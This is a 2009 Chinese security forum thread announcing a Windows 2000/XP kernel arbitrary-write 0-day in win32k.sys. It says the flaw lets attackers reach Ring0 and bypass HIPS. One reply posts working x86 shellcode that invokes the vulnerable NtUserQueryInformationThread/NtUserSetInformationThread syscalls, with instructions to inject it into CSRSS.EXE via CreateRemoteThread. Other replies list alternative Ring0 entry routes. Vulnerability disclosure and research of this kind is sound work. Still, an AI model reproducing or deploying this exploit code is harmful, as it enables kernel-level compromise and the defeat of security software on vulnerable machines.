首页
社区
课程
招聘
[原创][0Day]Windows 2000/XP(全补丁)内核任意地址写入漏洞
发表于: 2009-3-30 22:49 12284

[原创][0Day]Windows 2000/XP(全补丁)内核任意地址写入漏洞

2009-3-30 22:49
12284
作者:MJ0011

日期:2009.3.30

Windows 2000开始,win32k.sys体内的两个函数存在着内核任意地址写入漏洞,可以允许用户态程序直接读写内核内存,直到WIN2003才修补

同时存在另外几个函数,可以引发内核崩溃、内核内存泄露或内核地址写入

由于这一手段从未公开,攻击者可以利用它编写ShellCode,进入Ring0,或者恢复内核钩子,用来绕过HIPS、驱动防护类软件、内核加固软件等。

下面公布利用其中一对函数实现的内核任意地址写入DEMO,这个DEMO运行后,点击确定,会对内核地址0x804d8002(XP下通常是ntoskrnl的DOS头偏移+2)写入一个数值:0X12345678

DEMO由于做了一些硬编码,只在WINDOWS XP下生效

可以使用RootkitUnhooker的内核内存DUMP,或者Icesword的内存编辑,或者windbg本机或双机调试来查看修改的情况

具体代码为了安全起见,就不公开放出了,如果大家有兴趣,以后可以考虑放出

注意:DEMO执行过程中,你的HIPS软件可能会对其的某些前期操作报警,选择允许即可

DEMO下载地址:

http://mj0011.ys168.com

漏洞演示目录下CsrssVuln.rar

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 7
支持
分享
最新回复 (19)
雪    币: 263
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
2
太强了, 马上换2003
2009-3-30 22:54
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
3
太强啊~~~
2009-3-30 23:03
0
雪    币: 1407
活跃值: (17)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
幸好用的是vista
2009-3-30 23:04
0
雪    币: 2362
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
膜拜偶像。。
2009-3-30 23:05
0
雪    币: 563
活跃值: (95)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
看来很严重啊
2009-3-30 23:06
0
雪    币: 399
活跃值: (38)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
7
看不懂,无法膜拜
2009-3-30 23:13
0
雪    币: 709
活跃值: (2420)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
8
一路顶过来~~~
2009-3-30 23:21
0
雪    币: 152
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
膜拜王小姐!
2009-3-31 01:12
0
雪    币: 66
活跃值: (835)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10


这么强?
2009-3-31 01:38
0
雪    币: 1491
活跃值: (975)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
11
可否给源代码
  xianguo1985@163.com
2009-3-31 02:38
0
雪    币: 193
活跃值: (26)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
12
procedure ShellCode;
asm
  PUSH EBP
  MOV EBP,ESP
  SUB ESP,$3C
  MOV ECX,DWORD PTR SS:[EBP+8]
  XOR EAX,EAX
  MOV DWORD PTR SS:[EBP-$24],EAX
  MOV DWORD PTR SS:[EBP-$38],EAX
  MOV EDX,DWORD PTR DS:[ECX+$C]
  MOV DWORD PTR SS:[EBP-$30],EAX
  MOV DWORD PTR SS:[EBP-$34],EAX
  MOV DWORD PTR SS:[EBP-$2C],EAX
  MOV DWORD PTR SS:[EBP-$28],EAX
  MOV DWORD PTR SS:[EBP-4],EAX
  MOV EAX,DWORD PTR DS:[ECX+4]
  MOV DWORD PTR SS:[EBP-$20],EDX
  MOV DWORD PTR SS:[EBP-$1C],EAX
  MOV EAX,DWORD PTR DS:[ECX]
  LEA EDX,DWORD PTR SS:[EBP-$1C]
  MOV DWORD PTR SS:[EBP-$3C],18
  MOV DWORD PTR SS:[EBP-$18],-1
  MOV DWORD PTR SS:[EBP-$14],EDX
  MOV DWORD PTR SS:[EBP-$10],EAX
  LEA EAX,DWORD PTR SS:[EBP-$24]
  PUSH EAX
  LEA EAX,DWORD PTR SS:[EBP-$3C]
  PUSH EAX
  PUSH $60
  LEA EAX,DWORD PTR SS:[EBP-4]
  PUSH EAX
  MOV EAX,$80
  LEA EDX,DWORD PTR SS:[ESP]
  INT $2E
  ADD ESP,$10
  TEST EAX,EAX
  JL @@1
  LEA EAX,DWORD PTR SS:[EBP-$C]
  PUSH EAX
  PUSH 4
  LEA EAX,DWORD PTR SS:[EBP-8]
  PUSH EAX
  PUSH 1
  PUSH DWORD PTR SS:[EBP-4]
  MOV EAX,$11DF
  LEA EDX,DWORD PTR SS:[ESP]
  INT $2E
  ADD ESP,$14
  TEST EAX,EAX
  JL @@1
  PUSH 8
  PUSH DWORD PTR SS:[EBP-$14]
  PUSH 1
  PUSH DWORD PTR SS:[EBP-4]
  MOV EAX,$1208
  LEA EDX,DWORD PTR SS:[ESP]
  INT $2E
  ADD ESP,$10
  TEST EAX,EAX
  JL @@1
  LEA EAX,DWORD PTR SS:[EBP-$C]
  PUSH EAX
  PUSH 4
  PUSH DWORD PTR SS:[EBP-$10]
  PUSH 1
  PUSH DWORD PTR SS:[EBP-4]
  MOV EAX,$11DF
  LEA EDX,DWORD PTR SS:[ESP]
  INT $2E
  ADD ESP,$14
  TEST EAX,EAX
  JL @@1
  MOV EAX,DWORD PTR SS:[EBP-$14]
  MOV ECX,DWORD PTR SS:[EBP-8]
  MOV DWORD PTR DS:[EAX],ECX
  PUSH 8
  PUSH DWORD PTR SS:[EBP-$14]
  PUSH 1
  PUSH DWORD PTR SS:[EBP-4]
  MOV EAX,$1208
  LEA EDX,DWORD PTR SS:[ESP]
  INT $2E
  ADD ESP,$10
  MOV EAX,DWORD PTR SS:[EBP+8]
  MOV DWORD PTR DS:[EAX+8],1
@@1:MOV EAX,DWORD PTR SS:[EBP-4]
  TEST EAX,EAX
  JE @@2
  PUSH DWORD PTR SS:[EBP-4]
  MOV EAX,$19
  LEA EDX,DWORD PTR SS:[ESP]
  INT $2E
  ADD ESP,4
@@2:MOV ESP,EBP
  POP EBP
  RET
end;

把上面的ShellCode 写如CSRSS.EXE CreateRemoteThread 远程执行!

虽然还没膜拜完 偶猜大概原理是这样了  感谢王小姐

shellcode 大致意思
NtOpenThread
NtUserQueryInformationThread  //1号漏洞函数   //这两个函数好冷 比北极冰还冷
NtUserSetInformationThread      //2号漏洞函数
NtClose

NTSTATUS NtUserSetInformationThread(
    IN HANDLE ThreadHandle,
    IN THREADINFOCLASS ThreadInformationClass,
    IN PVOID ThreadInformation,
    IN ULONG ThreadInformationLength
)
2009-3-31 06:11
0
雪    币: 95
活跃值: (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
13
顶一个,MJ牛啊
2009-3-31 09:41
0
雪    币: 8026
活跃值: (2511)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
MJ怎么学的?专业搞安全的和业余的就不一样
2009-3-31 12:37
0
雪    币: 239
活跃值: (190)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
15
我也可以从ring3直接进入ring0.不难
不需要什么漏洞类的
2009-3-31 21:56
0
雪    币: 364
活跃值: (152)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
16
能说说思路么?
2009-3-31 21:58
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
17
排除ZwSystemDebugControl,PhysicalMemory ,NtLoadDriver,NtSetSystemInformation,pagefile

你还能进入RING0吗?呵呵
2009-3-31 22:02
0
雪    币: 364
活跃值: (152)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
18
MJ前辈再说几个排除xx的就好了
2009-4-1 17:48
0
雪    币: 8865
活跃值: (2379)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
19
请继续排除~~
2009-4-1 17:51
0
雪    币: 217
活跃值: (35)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
排除掉MJ,就可以顺利进入ring0了。
2009-4-2 21:33
0
游客
登录 | 注册 方可回帖
返回
//